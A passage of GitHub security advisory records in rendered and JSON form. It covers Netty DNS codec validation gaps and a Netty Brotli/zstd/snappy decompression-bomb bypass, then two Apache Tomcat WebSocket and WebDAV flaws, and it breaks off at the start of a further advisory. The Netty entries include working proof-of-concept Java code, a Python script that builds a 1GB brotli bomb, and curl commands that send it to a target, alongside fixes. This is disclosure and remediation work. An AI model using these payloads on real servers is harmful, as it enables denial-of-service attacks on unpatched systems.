Unpooled.buffer(512);\n encode.invoke(null, \"a\".repeat(200) + \".com\", buf2);\n System.out.println(\"\\n[TEST 2] 200-byte label encoded: \" + buf2.readableBytes() + \" bytes\");\n System.out.println(\"VULNERABLE: Overlength label accepted!\");\n buf2.release();\n\n // Test 3: Empty label truncation\n ByteBuf buf3 = Unpooled.buffer(256);\n encode.invoke(null, \"a..b.com\", buf3);\n byte[] bytes3 = new byte[buf3.readableBytes()];\n buf3.readBytes(bytes3);\n buf3.release();\n System.out.print(\"\\n[TEST 3] Empty label - Encoded: \");\n for (byte b : bytes3) System.out.printf(\"%02x \", b \u0026 0xff);\n System.out.println(\"\\nVULNERABLE: Domain silently truncated!\");\n }\n}\n```\n\n### PoC 2: Decoder Length Bypass (DnsDecoderLengthPoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.buffer.Unpooled;\nimport java.lang.reflect.Method;\nimport java.nio.charset.StandardCharsets;\n\npublic class DnsDecoderLengthPoC {\n public static void main(String[] args) throws Exception {\n System.out.println(\"=== Netty DNS Decoder Length Bypass PoC ===\\n\");\n\n Class\u003c?\u003e clazz = Class.forName(\"io.netty.handler.codec.dns.DnsCodecUtil\");\n Method decode = clazz.getDeclaredMethod(\"decodeDomainName\", ByteBuf.class);\n decode.setAccessible(true);\n\n // Test 1: 100-byte label (RFC limit: 63)\n ByteBuf buf1 = Unpooled.buffer(256);\n buf1.writeByte(100);\n buf1.writeBytes(\"a\".repeat(100).getBytes(StandardCharsets.US_ASCII));\n buf1.writeByte(3);\n buf1.writeBytes(\"com\".getBytes(StandardCharsets.US_ASCII));\n buf1.writeByte(0);\n String r1 = (String) decode.invoke(null, buf1);\n buf1.release();\n System.out.println(\"[TEST 1] 100-byte label: length=\" + r1.length() +\n \" VULNERABLE=\" + (r1.length() \u003e 64));\n\n // Test 2: 5 x 60-byte labels = 305 bytes (RFC limit: 255)\n ByteBuf buf2 = Unpooled.buffer(512);\n for (int i = 0; i \u003c 5; i++) {\n buf2.writeByte(60);\n buf2.writeBytes(String.valueOf((char)(\u0027a\u0027+i)).repeat(60)\n .getBytes(StandardCharsets.US_ASCII));\n }\n buf2.writeByte(0);\n String r2 = (String) decode.invoke(null, buf2);\n buf2.release();\n System.out.println(\"[TEST 2] 305-byte domain: length=\" + r2.length() +\n \" VULNERABLE=\" + (r2.length() \u003e 255));\n }\n}\n```\n\n### How to Compile and Run\n\n```bash\nJARS=$(find ~/.m2/repository/io/netty -name \"netty-*.jar\" -path \"*/4.2.12.Final/*\" \\\n | grep -v sources | grep -v javadoc | tr \u0027\\n\u0027 \u0027:\u0027)\n\n# Encoder PoC\njavac -cp \"$JARS\" DnsEncoderNullBytePoC.java\njava --add-opens java.base/java.lang=ALL-UNNAMED -cp \"$JARS:.\" DnsEncoderNullBytePoC\n\n# Decoder PoC\njavac -cp \"$JARS\" DnsDecoderLengthPoC.java\njava --add-opens java.base/java.lang=ALL-UNNAMED -cp \"$JARS:.\" DnsDecoderLengthPoC\n```\n\n### PoC Execution Output (Verified on Netty 4.2.12.Final)\n\n**Encoder PoC:**\n```\n=== Netty DNS Encoder Validation Bypass PoC ===\n\n[TEST 1] Null byte in domain name\n Input: \"evil\\0.example.com\"\n Encoded bytes: 05 65 76 69 6c 00 07 65 78 61 6d 70 6c 65 03 63 6f 6d 00\n Null byte in label data: true\n VULNERABLE: YES - Null byte accepted!\n\n[TEST 2] Label \u003e 63 bytes in encoder\n Input: \"aaaaaa...\" (200-char label)\n Encoded bytes: 206\n VULNERABLE: YES - Overlength label accepted in encoder!\n\n[TEST 3] Empty labels (consecutive dots)\n Input: \"a..b.com\"\n Encoded bytes: 01 61 00\n Note: Empty label truncates the name (may lose data)\n```\n\n**Decoder PoC:**\n```\n=== Netty DNS Decoder Length Bypass PoC ===\n\n[TEST 1] Label \u003e 63 bytes (RFC 1035 violation)\n Label length: 100 bytes (RFC limit: 63)\n Decoded name length: 105\n VULNERABLE: YES - Label \u003e 63 bytes accepted!\n\n[TEST 2] Domain \u003e 255 bytes via multiple labels\n 5 labels x 60 bytes = 300+ bytes total\n RFC 1035 limit: 255 bytes\n Decoded name length: 305\n VULNERABLE: YES - Domain \u003e 255 bytes accepted!\n```\n\n## 7. Impact Analysis\n\n| Impact Category | Description |\n|----------------|-------------|\n| **Integrity** | HIGH \u2014 Null byte injection causes differential interpretation across DNS implementations |\n| **Availability** | HIGH \u2014 Malicious DNS responses can cause unbounded memory allocation via decoder |\n| **DNS Cache Poisoning** | Different parsers see different domain names from the same encoded packet |\n| **Domain Validation Bypass** | Null bytes can bypass allowlist/blocklist checks in DNS proxies |\n| **Label/Pointer Confusion** | Length bytes \u003e 63 conflict with RFC 1035 compression pointer encoding |\n| **Silent Truncation** | Empty labels silently drop the remainder of the domain name |\n| **Downstream Failures** | Oversized domain names may crash certificate validators, URL parsers, or other DNS-aware libraries |\n\n## 8. Remediation Recommendations\n\n### Fix for Encoder (encodeDomainName)\n\n```java\nstatic void encodeDomainName(String name, ByteBuf buf) {\n if (ROOT.equals(name)) {\n buf.writeByte(0);\n return;\n }\n int totalLength = 0;\n final String[] labels = name.split(\"\\\\.\");\n for (String label : labels) {\n final int labelLen = label.length();\n if (labelLen == 0) {\n throw new IllegalArgumentException(\"DNS name contains empty label: \" + name);\n }\n if (labelLen \u003e 63) {\n throw new IllegalArgumentException(\n \"DNS label length \" + labelLen + \" exceeds maximum of 63: \" + name);\n }\n for (int i = 0; i \u003c label.length(); i++) {\n if (label.charAt(i) == \u0027\\0\u0027) {\n throw new IllegalArgumentException(\n \"DNS label contains null byte at index \" + i);\n }\n }\n totalLength += 1 + labelLen;\n if (totalLength \u003e 254) {\n throw new IllegalArgumentException(\n \"DNS name exceeds maximum length of 255: \" + name);\n }\n buf.writeByte(labelLen);\n ByteBufUtil.writeAscii(buf, label);\n }\n buf.writeByte(0);\n}\n```\n\n### Fix for Decoder (decodeDomainName)\n\n```java\n// Add after \"} else if (len != 0) {\":\nif (len \u003e 63) {\n throw new CorruptedFrameException(\"DNS label length \" + len + \" exceeds maximum of 63\");\n}\n// Add after \"name.append(...)\":\nif (name.length() \u003e 255) {\n throw new CorruptedFrameException(\"DNS domain name length exceeds maximum of 255\");\n}\n```\n\n## 9. Resources\n\n- [RFC 1035 Section 2.3.4: Size Limits](https://tools.ietf.org/html/rfc1035#section-2.3.4)\n- [RFC 1035 Section 4.1.4: Message Compression](https://tools.ietf.org/html/rfc1035#section-4.1.4)\n- [CWE-20: Improper Input Validation](https://cwe.mitre.org/data/definitions/20.html)\n- [CWE-400: Uncontrolled Resource Consumption](https://cwe.mitre.org/data/definitions/400.html)\n- [CWE-626: Null Byte Interaction Error](https://cwe.mitre.org/data/definitions/626.html)",
"id": "GHSA-cm33-6792-r9fm",
"modified": "2026-05-14T20:40:58Z",
"published": "2026-05-07T00:12:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-cm33-6792-r9fm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42579"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://tools.ietf.org/html/rfc1035#section-2.3.4"
},
{
"type": "WEB",
"url": "https://tools.ietf.org/html/rfc1035#section-4.1.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Netty has a DNS Codec Input Validation Bypass (Encoder + Decoder)"
}
GHSA-F6HV-JMP6-3VWV
Vulnerability from github – Published: 2026-05-07 00:46 – Updated: 2026-05-14 20:41Summary
HttpContentDecompressor accepts a maxAllocation parameter to limit decompression buffer size and prevent decompression bomb attacks. This limit is correctly enforced for gzip and deflate encodings via ZlibDecoder, but is silently ignored when the content encoding is br (Brotli), zstd, or snappy. An attacker can bypass the configured decompression limit by sending a compressed payload with Content-Encoding: br instead of Content-Encoding: gzip, causing unbounded memory allocation and out-of-memory denial of service.
The same vulnerability exists in DelegatingDecompressorFrameListener for HTTP/2 connections.
Details
HttpContentDecompressor stores the maxAllocation value at construction time (HttpContentDecompressor.java:89) and uses it in newContentDecoder() to create the appropriate decompression handler.
For gzip/deflate, maxAllocation is forwarded to ZlibCodecFactory.newZlibDecoder():
// HttpContentDecompressor.java:101 — maxAllocation IS enforced
.handlers(ZlibCodecFactory.newZlibDecoder(ZlibWrapper.GZIP, maxAllocation))
ZlibDecoder.prepareDecompressBuffer() enforces this as a hard cap by setting the buffer's maxCapacity and throwing DecompressionException when the limit is reached:
// ZlibDecoder.java:68 — hard limit on buffer capacity
return ctx.alloc().heapBuffer(Math.min(preferredSize, maxAllocation), maxAllocation);
// ZlibDecoder.java:80 — throws when exceeded
throw new DecompressionException("Decompression buffer has reached maximum size: " + buffer.maxCapacity());
For brotli, zstd, and snappy, the decoders are created without any size limit:
// HttpContentDecompressor.java:120 — maxAllocation IGNORED
.handlers(new BrotliDecoder())
// HttpContentDecompressor.java:129 — maxAllocation IGNORED
.handlers(new SnappyFrameDecoder())
// HttpContentDecompressor.java:138 — maxAllocation IGNORED
.handlers(new ZstdDecoder())
BrotliDecoder has no maxAllocation parameter at all — there is no way to constrain its output. It streams decompressed data in chunks via fireChannelRead with no total limit.
ZstdDecoder() defaults to a 4MB maximumAllocationSize, but this only constrains individual buffer allocations, not total output. The decode loop (ZstdDecoder.java:100-114) creates new buffers and fires channelRead repeatedly, so total decompressed output is unbounded.
The identical pattern exists in DelegatingDecompressorFrameListener.newContentDecompressor() at lines 188-210 for HTTP/2.
PoC
- Configure a Netty HTTP server with decompression bomb protection:
pipeline.addLast(new HttpContentDecompressor(1048576)); // 1MB max
pipeline.addLast(new HttpObjectAggregator(1048576)); // 1MB max
- Generate a brotli-compressed bomb (~1KB compressed → 1GB decompressed):
import brotli
bomb = b'\x00' * (1024 * 1024 * 1024) # 1GB of zeros
compressed = brotli.compress(bomb, quality=11)
with open('bomb.br', 'wb') as f:
f.write(compressed)
# compressed size: ~1KB
- Send the bomb with gzip encoding (BLOCKED by maxAllocation):
# This is caught — ZlibDecoder enforces the 1MB limit
curl -X POST http://target:8080/api \
-H 'Content-Encoding: gzip' \
--data-binary @bomb.gz
# Result: DecompressionException thrown at 1MB
- Send the same bomb with brotli encoding (BYPASSES maxAllocation):
# This bypasses the limit — BrotliDecoder has no maxAllocation
curl -X POST http://target:8080/api \
-H 'Content-Encoding: br' \
--data-binary @bomb.br
# Result: Full 1GB decompressed into memory → OOM
- The same bypass works with
Content-Encoding: zstdandContent-Encoding: snappy.
Impact
- Denial of Service: An attacker can cause out-of-memory conditions on any Netty server that relies on
maxAllocationfor decompression bomb protection, by simply using a non-gzip content encoding. - False sense of security: Developers who explicitly configure
maxAllocationto protect against decompression bombs are not actually protected for brotli, zstd, or snappy encodings. The API documentation implies all encodings are covered. - Trivial bypass: The attacker only needs to change one HTTP header (
Content-Encoding: brinstead ofContent-Encoding: gzip) to circumvent the protection entirely. - Both HTTP/1.1 and HTTP/2: The vulnerability exists in both
HttpContentDecompressor(HTTP/1.1) andDelegatingDecompressorFrameListener(HTTP/2).
Recommended Fix
Pass maxAllocation to all decoder constructors. For BrotliDecoder, which currently has no maxAllocation support, add the parameter:
HttpContentDecompressor.java — pass maxAllocation to all decoders:
// Line 120: BrotliDecoder — add maxAllocation support
.handlers(new BrotliDecoder(maxAllocation))
// Line 129: SnappyFrameDecoder — add maxAllocation support
.handlers(new SnappyFrameDecoder(maxAllocation))
// Line 138: ZstdDecoder — forward the configured maxAllocation
.handlers(new ZstdDecoder(maxAllocation))
DelegatingDecompressorFrameListener.java — same fix at lines 188-210.
BrotliDecoder — add maxAllocation parameter with the same semantics as ZlibDecoder.prepareDecompressBuffer(): set buffer maxCapacity and throw DecompressionException when the total decompressed output exceeds the limit.
SnappyFrameDecoder — add maxAllocation parameter with equivalent enforcement.
ZstdDecoder — ensure that when maxAllocation is set, total output across all buffers is bounded (not just per-buffer allocation size).
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.12.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.13.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.12.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http2"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.13.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.132.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.133.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.132.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.133.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42587"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T00:46:35Z",
"nvd_published_at": "2026-05-13T19:17:24Z",
"severity": "HIGH"
},
"details": "## Summary\n\n`HttpContentDecompressor` accepts a `maxAllocation` parameter to limit decompression buffer size and prevent decompression bomb attacks. This limit is correctly enforced for gzip and deflate encodings via `ZlibDecoder`, but is silently ignored when the content encoding is `br` (Brotli), `zstd`, or `snappy`. An attacker can bypass the configured decompression limit by sending a compressed payload with `Content-Encoding: br` instead of `Content-Encoding: gzip`, causing unbounded memory allocation and out-of-memory denial of service.\n\nThe same vulnerability exists in `DelegatingDecompressorFrameListener` for HTTP/2 connections.\n\n## Details\n\n`HttpContentDecompressor` stores the `maxAllocation` value at construction time (`HttpContentDecompressor.java:89`) and uses it in `newContentDecoder()` to create the appropriate decompression handler.\n\nFor gzip/deflate, `maxAllocation` is forwarded to `ZlibCodecFactory.newZlibDecoder()`:\n\n```java\n// HttpContentDecompressor.java:101 \u2014 maxAllocation IS enforced\n.handlers(ZlibCodecFactory.newZlibDecoder(ZlibWrapper.GZIP, maxAllocation))\n```\n\n`ZlibDecoder.prepareDecompressBuffer()` enforces this as a hard cap by setting the buffer\u0027s `maxCapacity` and throwing `DecompressionException` when the limit is reached:\n\n```java\n// ZlibDecoder.java:68 \u2014 hard limit on buffer capacity\nreturn ctx.alloc().heapBuffer(Math.min(preferredSize, maxAllocation), maxAllocation);\n// ZlibDecoder.java:80 \u2014 throws when exceeded\nthrow new DecompressionException(\"Decompression buffer has reached maximum size: \" + buffer.maxCapacity());\n```\n\nFor brotli, zstd, and snappy, the decoders are created without any size limit:\n\n```java\n// HttpContentDecompressor.java:120 \u2014 maxAllocation IGNORED\n.handlers(new BrotliDecoder())\n\n// HttpContentDecompressor.java:129 \u2014 maxAllocation IGNORED\n.handlers(new SnappyFrameDecoder())\n\n// HttpContentDecompressor.java:138 \u2014 maxAllocation IGNORED\n.handlers(new ZstdDecoder())\n```\n\n`BrotliDecoder` has no `maxAllocation` parameter at all \u2014 there is no way to constrain its output. It streams decompressed data in chunks via `fireChannelRead` with no total limit.\n\n`ZstdDecoder()` defaults to a 4MB `maximumAllocationSize`, but this only constrains individual buffer allocations, not total output. The decode loop (`ZstdDecoder.java:100-114`) creates new buffers and fires `channelRead` repeatedly, so total decompressed output is unbounded.\n\nThe identical pattern exists in `DelegatingDecompressorFrameListener.newContentDecompressor()` at lines 188-210 for HTTP/2.\n\n## PoC\n\n1. Configure a Netty HTTP server with decompression bomb protection:\n\n```java\npipeline.addLast(new HttpContentDecompressor(1048576)); // 1MB max\npipeline.addLast(new HttpObjectAggregator(1048576)); // 1MB max\n```\n\n2. Generate a brotli-compressed bomb (~1KB compressed \u2192 1GB decompressed):\n\n```python\nimport brotli\nbomb = b\u0027\\x00\u0027 * (1024 * 1024 * 1024) # 1GB of zeros\ncompressed = brotli.compress(bomb, quality=11)\nwith open(\u0027bomb.br\u0027, \u0027wb\u0027) as f:\n f.write(compressed)\n# compressed size: ~1KB\n```\n\n3. Send the bomb with gzip encoding (BLOCKED by maxAllocation):\n\n```bash\n# This is caught \u2014 ZlibDecoder enforces the 1MB limit\ncurl -X POST http://target:8080/api \\\n -H \u0027Content-Encoding: gzip\u0027 \\\n --data-binary @bomb.gz\n# Result: DecompressionException thrown at 1MB\n```\n\n4. Send the same bomb with brotli encoding (BYPASSES maxAllocation):\n\n```bash\n# This bypasses the limit \u2014 BrotliDecoder has no maxAllocation\ncurl -X POST http://target:8080/api \\\n -H \u0027Content-Encoding: br\u0027 \\\n --data-binary @bomb.br\n# Result: Full 1GB decompressed into memory \u2192 OOM\n```\n\n5. The same bypass works with `Content-Encoding: zstd` and `Content-Encoding: snappy`.\n\n## Impact\n\n- **Denial of Service**: An attacker can cause out-of-memory conditions on any Netty server that relies on `maxAllocation` for decompression bomb protection, by simply using a non-gzip content encoding.\n- **False sense of security**: Developers who explicitly configure `maxAllocation` to protect against decompression bombs are not actually protected for brotli, zstd, or snappy encodings. The API documentation implies all encodings are covered.\n- **Trivial bypass**: The attacker only needs to change one HTTP header (`Content-Encoding: br` instead of `Content-Encoding: gzip`) to circumvent the protection entirely.\n- **Both HTTP/1.1 and HTTP/2**: The vulnerability exists in both `HttpContentDecompressor` (HTTP/1.1) and `DelegatingDecompressorFrameListener` (HTTP/2).\n\n## Recommended Fix\n\nPass `maxAllocation` to all decoder constructors. For `BrotliDecoder`, which currently has no `maxAllocation` support, add the parameter:\n\n**HttpContentDecompressor.java** \u2014 pass maxAllocation to all decoders:\n\n```java\n// Line 120: BrotliDecoder \u2014 add maxAllocation support\n.handlers(new BrotliDecoder(maxAllocation))\n\n// Line 129: SnappyFrameDecoder \u2014 add maxAllocation support\n.handlers(new SnappyFrameDecoder(maxAllocation))\n\n// Line 138: ZstdDecoder \u2014 forward the configured maxAllocation\n.handlers(new ZstdDecoder(maxAllocation))\n```\n\n**DelegatingDecompressorFrameListener.java** \u2014 same fix at lines 188-210.\n\n**BrotliDecoder** \u2014 add `maxAllocation` parameter with the same semantics as `ZlibDecoder.prepareDecompressBuffer()`: set buffer maxCapacity and throw `DecompressionException` when the total decompressed output exceeds the limit.\n\n**SnappyFrameDecoder** \u2014 add `maxAllocation` parameter with equivalent enforcement.\n\n**ZstdDecoder** \u2014 ensure that when `maxAllocation` is set, total output across all buffers is bounded (not just per-buffer allocation size).",
"id": "GHSA-f6hv-jmp6-3vwv",
"modified": "2026-05-14T20:41:29Z",
"published": "2026-05-07T00:46:35Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-f6hv-jmp6-3vwv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42587"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Netty: HttpContentDecompressor maxAllocation bypass when Content-Encoding set to br/zstd/snappy leads to decompression bomb DoS"
}
GHSA-FV25-8XCX-GQJC
Vulnerability from github – Published: 2026-05-12 18:30 – Updated: 2026-05-18 20:29Versions Affected: Apache Tomcat 11.0.0-M1 to 11.0.21 Apache Tomcat 10.1.0-M1 to 10.1.54 Apache Tomcat 9.0.2 to 9.0.117 Older, unsupported versions may also be affected
Description: If a WebSocket request was redirected after authentication, Tomcat's WebSocket client would present the most recent authentication header to the redirect target host.
Mitigation: Users of the affected versions should apply one of the following mitigations: - Upgrade to Apache Tomcat 11.0.22 or later - Upgrade to Apache Tomcat 10.1.55 or later - Upgrade to Apache Tomcat 9.0.118 or later
Credit: This issue was identified by lokerxx
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat.embed:tomcat-embed-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "9.0.118"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat.embed:tomcat-embed-core"
},
"ranges": [
{
"events": [
{
"introduced": "10.1.0-M1"
},
{
"fixed": "10.1.55"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat.embed:tomcat-embed-core"
},
"ranges": [
{
"events": [
{
"introduced": "11.0.0-M1"
},
{
"fixed": "11.0.22"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat:tomcat"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "9.0.118"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat:tomcat"
},
"ranges": [
{
"events": [
{
"introduced": "10.1.0-M1"
},
{
"fixed": "10.1.55"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat:tomcat"
},
"ranges": [
{
"events": [
{
"introduced": "11.0.0-M1"
},
{
"fixed": "11.0.22"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat:tomcat-catalina"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "9.0.118"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat:tomcat-catalina"
},
"ranges": [
{
"events": [
{
"introduced": "10.1.0-M1"
},
{
"fixed": "10.1.55"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat:tomcat-catalina"
},
"ranges": [
{
"events": [
{
"introduced": "11.0.0-M1"
},
{
"fixed": "11.0.22"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42498"
],
"database_specific": {
"cwe_ids": [
"CWE-200"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-18T20:29:53Z",
"nvd_published_at": "2026-05-12T16:16:17Z",
"severity": "HIGH"
},
"details": "Versions Affected:\nApache Tomcat 11.0.0-M1 to 11.0.21\nApache Tomcat 10.1.0-M1 to 10.1.54\nApache Tomcat 9.0.2 to 9.0.117\nOlder, unsupported versions may also be affected\n\nDescription:\nIf a WebSocket request was redirected after authentication, Tomcat\u0027s\nWebSocket client would present the most recent authentication header to\nthe redirect target host.\n\nMitigation:\nUsers of the affected versions should apply one of the following\nmitigations:\n- Upgrade to Apache Tomcat 11.0.22 or later\n- Upgrade to Apache Tomcat 10.1.55 or later\n- Upgrade to Apache Tomcat 9.0.118 or later\n\nCredit:\nThis issue was identified by lokerxx",
"id": "GHSA-fv25-8xcx-gqjc",
"modified": "2026-05-18T20:29:53Z",
"published": "2026-05-12T18:30:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42498"
},
{
"type": "WEB",
"url": "https://github.com/apache/tomcat/commit/169d725788ea6aec217ecac70fe4161c837ba423"
},
{
"type": "WEB",
"url": "https://github.com/apache/tomcat/commit/6cbe274592ef2d11607b5b188e1df649de52f8d5"
},
{
"type": "WEB",
"url": "https://github.com/apache/tomcat/commit/b7b173694d588ddcfa432f079baf763cbbbaa5c4"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/tomcat"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/n61zwf75jrv09rz90j4jssncm244bwdb"
},
{
"type": "WEB",
"url": "https://tomcat.apache.org/security-10.html"
},
{
"type": "WEB",
"url": "https://tomcat.apache.org/security-11.html"
},
{
"type": "WEB",
"url": "https://tomcat.apache.org/security-9.html"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/05/12/14"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "Apache Tomcat - WebSocket authentication header exposure"
}
GHSA-GX5V-XP9W-J4CG
Vulnerability from github – Published: 2026-05-12 18:30 – Updated: 2026-05-18 20:26Versions Affected: Apache Tomcat 11.0.0-M1 to 11.0.21 Apache Tomcat 10.1.0-M1 to 10.1.54 Apache Tomcat 9.0.0.M1 to 9.0.117 Older, unsupported versions may also be affected
Description: No limit was enforced on the request body for WebDAV LOCK or PROPFIND requests which were available to unauthenticated users.
Mitigation: Users of the affected versions should apply one of the following mitigations: - Upgrade to Apache Tomcat 11.0.22 or later - Upgrade to Apache Tomcat 10.1.55 or later - Upgrade to Apache Tomcat 9.0.118 or later
Credit: This issue was identified by Dariusz Gońda
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat.embed:tomcat-embed-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "9.0.118"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat.embed:tomcat-embed-core"
},
"ranges": [
{
"events": [
{
"introduced": "10.1.0-M1"
},
{
"fixed": "10.1.55"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat.embed:tomcat-embed-core"
},
"ranges": [
{
"events": [
{
"introduced": "11.0.0-M1"
},
{
"fixed": "11.0.22"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat:tomcat"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "9.0.118"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat:tomcat"
},
"ranges": [
{
"events": [
{
"introduced": "10.1.0-M1"
},
{
"fixed": "10.1.55"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat:tomcat"
},
"ranges": [
{
"events": [
{
"introduced": "11.0.0-M1"
},
{
"fixed": "11.0.22"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat:tomcat-catalina"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "9.0.118"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat:tomcat-catalina"
},
"ranges": [
{
"events": [
{
"introduced": "10.1.0-M1"
},
{
"fixed": "10.1.55"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat:tomcat-catalina"
},
"ranges": [
{
"events": [
{
"introduced": "11.0.0-M1"
},
{
"fixed": "11.0.22"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41284"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-18T20:26:58Z",
"nvd_published_at": "2026-05-12T16:16:15Z",
"severity": "HIGH"
},
"details": "Versions Affected:\nApache Tomcat 11.0.0-M1 to 11.0.21\nApache Tomcat 10.1.0-M1 to 10.1.54\nApache Tomcat 9.0.0.M1 to 9.0.117\nOlder, unsupported versions may also be affected\n\nDescription:\nNo limit was enforced on the request body for WebDAV LOCK or PROPFIND\nrequests which were available to unauthenticated users.\n\nMitigation:\nUsers of the affected versions should apply one of the following\nmitigations:\n- Upgrade to Apache Tomcat 11.0.22 or later\n- Upgrade to Apache Tomcat 10.1.55 or later\n- Upgrade to Apache Tomcat 9.0.118 or later\n\nCredit:\nThis issue was identified by Dariusz Go\u0144da",
"id": "GHSA-gx5v-xp9w-j4cg",
"modified": "2026-05-18T20:26:58Z",
"published": "2026-05-12T18:30:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41284"
},
{
"type": "WEB",
"url": "https://github.com/apache/tomcat/commit/17dacd9aa48628da2eba37a9ab743c0b6c71685c"
},
{
"type": "WEB",
"url": "https://github.com/apache/tomcat/commit/a96fffd18487a29c0a30d36f00cb2b2d91f6d42c"
},
{
"type": "WEB",
"url": "https://github.com/apache/tomcat/commit/b3d1c1c239142e806be0b7329d304b94a58913ed"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/tomcat"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/2nvqjr7ovjmvx2vbhb7s61ycd5msc8qc"
},
{
"type": "WEB",
"url": "https://tomcat.apache.org/security-10.html"
},
{
"type": "WEB",
"url": "https://tomcat.apache.org/security-11.html"
},
{
"type": "WEB",
"url": "https://tomcat.apache.org/security-9.html"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/05/12/12"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Apache Tomcat: Unbounded read in WebDAV LOCK and PROPFIND handling"
}
GHSA-H2QV-FJ59-J46J
Vulnerability from github – Published: 2026-06-11 20:19 – Updated: 2026-08-13 15:34Impact
